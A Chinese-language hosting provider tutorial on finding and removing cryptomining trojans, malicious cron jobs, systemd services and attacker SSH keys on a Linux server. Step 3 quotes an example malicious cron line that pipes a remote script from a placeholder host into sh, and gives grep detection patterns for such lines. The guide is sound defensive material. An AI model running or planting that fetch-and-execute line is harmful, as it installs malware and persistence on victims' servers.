Linux 服务器

Linux 服务器被挖矿中毒怎么办?排查清除挖矿木马、恶意定时任务与 SSH 后门公钥

8 个步骤 12 分钟阅读 29 次阅读 0
本文目录

服务器 CPU 突然长期跑满 100%、出现无法解释的流量,或者收到滥用(abuse)投诉,很大概率已经被入侵。在 Linux 上,最常见的恶意程序是挖矿木马(xmrig、kdevtmpfsi、kinsing 以及无数改名后的变种),它们通过 cron 定时任务、systemd 服务和攻击者植入的 SSH 公钥实现持久化。本文介绍如何确认服务器是否被入侵、找出恶意进程和所有持久化位置、清理服务器,并封堵攻击者的入侵途径。

一旦确认被入侵,唯一完全可靠的处理方式是:备份数据、重装操作系统,再从干净的备份中恢复数据(而不是程序文件)。按下文方法原地清理可以清除常见的挖矿程序和后门,但无法保证没有其他残留。无论采用哪种方式,处理完成后都要更换所有密码和密钥。

服务器被入侵的常见迹象

  • 网站或应用处于空闲状态时,CPU 使用率仍然接近 100%。
  • 出现名称随机的陌生进程,或从 /tmp、/var/tmp、/dev/shm 运行的进程。
  • 出站流量很大,对外发起 SSH 扫描,或连接陌生 IP 的 3333、4444、5555、7777、14444 等端口(常见的矿池端口)。
  • 出现不是你添加的 cron 定时任务、systemd 服务或 SSH 公钥。
  • 收到服务商的滥用(abuse)通知,反映你的 IP 存在端口扫描、暴力破解或发送垃圾邮件等行为。

步骤 1:查找 CPU 占用异常的进程

列出资源占用最高的进程,并查看它们的可执行文件实际位于何处。恶意程序常伪装成 [kworker]、systemd-helper 这类看似正常的名称,但其程序文件位于临时目录中,或者已经从磁盘上删除。

# Top CPU consumers
ps aux --sort=-%cpu | head -15

# For a suspicious PID: real binary path, full command line and working directory
ls -l /proc/12345/exe
tr '\0' ' ' < /proc/12345/cmdline; echo
ls -l /proc/12345/cwd

# Processes whose binary has been deleted from disk (a classic malware trick)
ls -l /proc/*/exe 2>/dev/null | grep '(deleted)'

# Processes started from temporary directories
ls -l /proc/*/exe 2>/dev/null | grep -E '/tmp/|/var/tmp/|/dev/shm/'

有些挖矿程序一检测到你打开 top 就会暂停,或者通过预加载库(见步骤 3)在 ps 中隐藏自己。如果系统负载(load average)一直居高不下,而 top 中却看不到繁忙的进程,就应当认为有程序被隐藏了。

步骤 2:检查网络连接

挖矿程序必须连接矿池,僵尸网络程序也必须与控制端通信。重点查找你的应用在正常情况下绝不会发起的已建立出站连接。

# All TCP/UDP sockets with the owning process
ss -tunap

# Only established outbound connections
ss -tnp state established

# Connections to common mining pool ports
ss -tnp | grep -E ':(3333|4444|5555|7777|14444|45700)\b'

# Live view of which hosts use bandwidth (apt/dnf install iftop)
iftop -nP

步骤 3:排查所有持久化位置

如果 cron 定时任务一分钟后又会重新下载恶意程序,单纯杀掉进程毫无意义。请逐一检查以下位置。

# Cron jobs for every user
for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u "$u" 2>/dev/null | sed "s/^/[$u] /"; done
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /var/spool/cron* 2>/dev/null

# Systemd services and timers changed in the last 14 days
find /etc/systemd /lib/systemd /usr/lib/systemd -type f -mtime -14 2>/dev/null
systemctl list-timers --all

# Library preloading: hides processes and files from ps/ls (should normally be empty or absent)
cat /etc/ld.so.preload 2>/dev/null

# Startup scripts and shell profiles
cat /etc/rc.local 2>/dev/null
ls -la /etc/profile.d/
grep -nE 'curl|wget|base64|/tmp/|/dev/shm' /root/.bashrc /root/.profile /etc/profile /etc/bash.bashrc 2>/dev/null

典型的恶意 cron 任务类似 */5 * * * * curl -fsSL http://x.x.x.x/a.sh | sh,或者执行一段 base64 编码的命令。凡是不是你自己创建的,都值得怀疑。

步骤 4:检查用户、SSH 公钥和登录记录

# Accounts with UID 0 (only root should be listed)
awk -F: '$3 == 0 {print $1}' /etc/passwd

# Accounts that can log in with a shell
grep -vE 'nologin|false$' /etc/passwd

# Every authorized_keys file on the system
find / -xdev -name authorized_keys 2>/dev/null -exec sh -c 'echo "== $1"; cat "$1"' _ {} \;

# Recent successful and failed logins
last -a | head -20
lastb -a 2>/dev/null | head -20
journalctl -u ssh -u sshd --since "7 days ago" | grep -E 'Accepted|Failed' | tail -30

删除所有你不认识的公钥。如果发现有你从未使用过的境外 IP 登录成功,很可能说明密码或密钥已经泄露。

步骤 5:查找近期修改过的文件和隐藏文件

# Files changed in the last 3 days outside virtual filesystems
find / -xdev -type f -mtime -3 \
  -not -path '/proc/*' -not -path '/sys/*' -not -path '/var/log/*' \
  -not -path '/var/lib/docker/*' 2>/dev/null | head -100

# Contents of temporary directories, including hidden files
ls -la /tmp /var/tmp /dev/shm

# Files made immutable so you cannot delete them
lsattr -a /tmp /var/tmp /usr/bin /usr/local/bin 2>/dev/null | grep -- '-i-'

# Verify that system binaries were not replaced
debsums -c 2>/dev/null      # Debian/Ubuntu (apt install debsums)
rpm -Va 2>/dev/null | grep '^..5'   # Rocky/AlmaLinux: files whose checksum changed

步骤 6:清理恶意程序

请按以下顺序操作,防止恶意程序在清理过程中自行重启:先移除持久化,再结束进程,最后删除文件。

# 1. Remove persistence: edit the crontabs, delete malicious files in /etc/cron.d,
#    then stop and disable unknown services
crontab -e
systemctl disable --now suspicious.service
rm -f /etc/systemd/system/suspicious.service && systemctl daemon-reload

# 2. Empty a malicious preload file
> /etc/ld.so.preload

# 3. Kill the processes
kill -9 12345

# 4. Remove the immutable flag, then delete the files
chattr -i -a /tmp/.x/miner
rm -rf /tmp/.x

# 5. Remove unknown SSH keys and accounts
nano /root/.ssh/authorized_keys
userdel -r unknownuser

清理完成后,修改 root 密码和所有应用密码(数据库、面板、CMS 后台),重新生成 SSH 密钥,并用 apt update && apt upgrade 或 dnf upgrade 更新系统。如需进一步确认,可以运行 rkhunter --check 或 chkrootkit 等扫描工具;它们可能出现误报,请仔细甄别告警内容。

步骤 7:封堵入侵途径

我们遇到的绝大多数感染都来自少数几个入口。请修复与你情况相符的那一项,否则服务器几小时内就会再次被感染。

  • SSH 弱密码:改用密钥登录并禁用密码认证(参见 SSH 密钥登录),同时部署 Fail2ban。
  • 未设密码就暴露在公网的服务:Redis(6379)、Docker API(2375)、MongoDB(27017)和 Elasticsearch(9200)一直在被持续扫描。请将它们绑定到 127.0.0.1,或者用防火墙屏蔽。
  • 过时的网站程序和插件:及时更新 CMS、插件和服务器面板,并删除不再使用的网站。
  • 密钥泄露:SSH 私钥或面板密码在其他地方重复使用。请全部更换。

常见问题

运行 top 时 CPU 恢复正常,退出后又升高,为什么?

很多挖矿程序会检测监控工具,在其运行期间暂停挖矿。可以改用 uptime 或控制面板中的 CPU 图表观察;即使看不到进程,也可以按照步骤 3 至步骤 5 找出持久化位置。

应该原地清理还是重装系统?

如果攻击者拿到过 root 权限,重装是最安全的选择:备份网站文件和数据库,重装操作系统,先完成安全加固,再恢复数据。如果只是简单的挖矿程序,并且已经找到并清除了所有持久化位置和根本原因,原地清理也可以接受。

服务器在对外发起攻击,收到了 abuse 工单,该怎么办?

请回复该工单,立即下线被感染的服务或清理服务器,并告诉我们你发现了什么、修复了什么。对外攻击会危害其他网络,也会损害你的 IP 信誉,因此必须尽快处理。

如果按以上步骤操作后问题仍未解决,请提交工单联系 IMIDC 7×24 技术支持,并附上服务器 IP、系统版本、发现的可疑进程或文件以及上述命令的输出结果,方便工程师快速定位。

这篇文章有帮助吗?

相关教程